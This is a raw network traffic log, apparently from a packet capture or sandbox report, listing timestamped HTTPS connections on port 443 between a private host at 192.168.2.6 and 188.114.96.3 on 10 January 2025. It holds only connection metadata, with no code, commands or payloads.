Jan 10, 2025 15:13:18.445282936 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.445334911 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.445396900 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.445719004 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.445728064 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.906467915 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.906548977 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.907541037 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.907553911 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.908802032 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.908813953 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.311760902 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.311817884 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.311826944 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.311857939 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.311985970 CET	49733	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.311994076 CET	443	49733	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.441349030 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.441396952 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.441469908 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.442476988 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.442491055 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.911983013 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.912203074 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.912827015 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.912837982 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:19.914374113 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:19.914381027 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.335988998 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.336061954 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.336215973 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.336215973 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.336282015 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.336301088 CET	443	49744	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.336313963 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.336358070 CET	49744	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.465635061 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.465722084 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.465811968 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.466572046 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.466593027 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.923705101 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.923824072 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.924287081 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.924302101 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:20.925913095 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:20.925924063 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.334294081 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.334363937 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.334409952 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.334446907 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.334588051 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.334610939 CET	443	49751	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.334625959 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.334680080 CET	49751	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.447367907 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.447406054 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.447463989 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.447818041 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.447830915 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.922125101 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.922251940 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.922765970 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.922775030 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:21.924431086 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:21.924436092 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.314363956 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.314438105 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.314451933 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.314475060 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.314600945 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.314610958 CET	443	49757	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.314629078 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.314647913 CET	49757	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.430413961 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.430464983 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.430552959 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.431042910 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.431066036 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.897099972 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.897167921 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.911494970 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.911525011 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:22.913141966 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:22.913153887 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.288213015 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.288285971 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.288311005 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.288378954 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.288506985 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.288556099 CET	443	49767	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.288583994 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.288626909 CET	49767	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.414269924 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.414324045 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.414392948 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.414999962 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.415019989 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.895558119 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.895714045 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.896266937 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.896277905 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:23.897598982 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:23.897608042 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.294955015 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.295028925 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.295053005 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.295080900 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.295216084 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.295233011 CET	443	49773	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.295243025 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.295285940 CET	49773	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.414035082 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.414062977 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.414134026 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.414771080 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.414783001 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.903440952 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.903587103 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.904140949 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.904155970 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:24.905476093 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:24.905493975 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.326416016 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.326469898 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.326471090 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.326502085 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.326628923 CET	49780	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.326642990 CET	443	49780	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.445417881 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.445466995 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.445547104 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.446086884 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.446099997 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.931931973 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.932070971 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.932647943 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.932670116 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:25.934072018 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:25.934084892 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.368993044 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.369067907 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.369122982 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.369159937 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.369250059 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.369276047 CET	443	49789	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.369286060 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.369333982 CET	49789	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.492722034 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.492768049 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.492849112 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.493293047 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.493303061 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.963113070 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.963172913 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.963829041 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.963840961 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:26.965524912 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:26.965543985 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.369591951 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.369659901 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.369704008 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.369739056 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.369848967 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.369859934 CET	443	49795	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.369893074 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.369906902 CET	49795	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.493335962 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.493377924 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.493452072 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.494306087 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.494318962 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.952898026 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.953000069 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.953651905 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.953665018 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:27.955215931 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:27.955229998 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.347254038 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.347347021 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.347381115 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.347435951 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.347474098 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.347522020 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.360097885 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.360129118 CET	443	49803	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.360142946 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.360183954 CET	49803	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.492506981 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.492567062 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.492639065 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.493072033 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.493083954 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.986104965 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.986227989 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.986922026 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.986931086 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:28.988245964 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:28.988255024 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:29.429173946 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:29.429311991 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:29.429349899 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.429393053 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.429430008 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.429450035 CET	443	49809	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:29.429461002 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.429495096 CET	49809	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.554821014 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.554835081 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:29.554912090 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.555468082 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:29.555480957 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.033483028 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.033543110 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.034178019 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.034184933 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.035644054 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.035650015 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.475457907 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.475505114 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.475516081 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.475526094 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.475548029 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.475572109 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.475752115 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.475763083 CET	443	49819	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.475775003 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.475802898 CET	49819	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.601804018 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.601855040 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:30.602066040 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.602334976 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:30.602349043 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.069814920 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.073066950 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.073539972 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.073549032 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.075004101 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.075010061 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.480462074 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.480616093 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.480632067 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.480643034 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.480667114 CET	443	49826	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.480685949 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.480714083 CET	49826	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.601617098 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.601644039 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:31.601789951 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.602015972 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:31.602035999 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.100064993 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.100126028 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.102006912 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.102020979 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.103290081 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.103297949 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.537015915 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.537082911 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.537100077 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.537120104 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.537142038 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.537166119 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.537306070 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.537322998 CET	443	49834	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.537342072 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.537360907 CET	49834	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.648504972 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.648550987 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:32.648644924 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.648948908 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:32.648960114 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.122791052 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.122884035 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.123421907 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.123430014 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.124711037 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.124716043 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.551387072 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.551465988 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.551472902 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.551525116 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.551729918 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.551752090 CET	443	49841	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.551763058 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.551796913 CET	49841	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.679687023 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.679759026 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:33.679821968 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.680349112 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:33.680367947 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.214663029 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.214735985 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.215253115 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.215265989 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.216583014 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.216589928 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.642697096 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.642760992 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.642765999 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.642802000 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.642932892 CET	49848	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.642951965 CET	443	49848	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.758188963 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.758250952 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:34.758342028 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.758699894 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:34.758716106 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.214525938 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.214600086 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.215034008 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.215045929 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.216636896 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.216650009 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.627636909 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.627722979 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.627729893 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.627772093 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.629864931 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.629882097 CET	443	49858	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.629892111 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.629934072 CET	49858	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.757988930 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.758034945 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:35.758187056 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.758541107 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:35.758553028 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.237875938 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.237957954 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.238478899 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.238492966 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.239954948 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.239968061 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.769851923 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.770009995 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.770011902 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.770068884 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.770215988 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.770230055 CET	443	49864	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.770255089 CET	49864	443	192.168.2.6	188.114.96.3
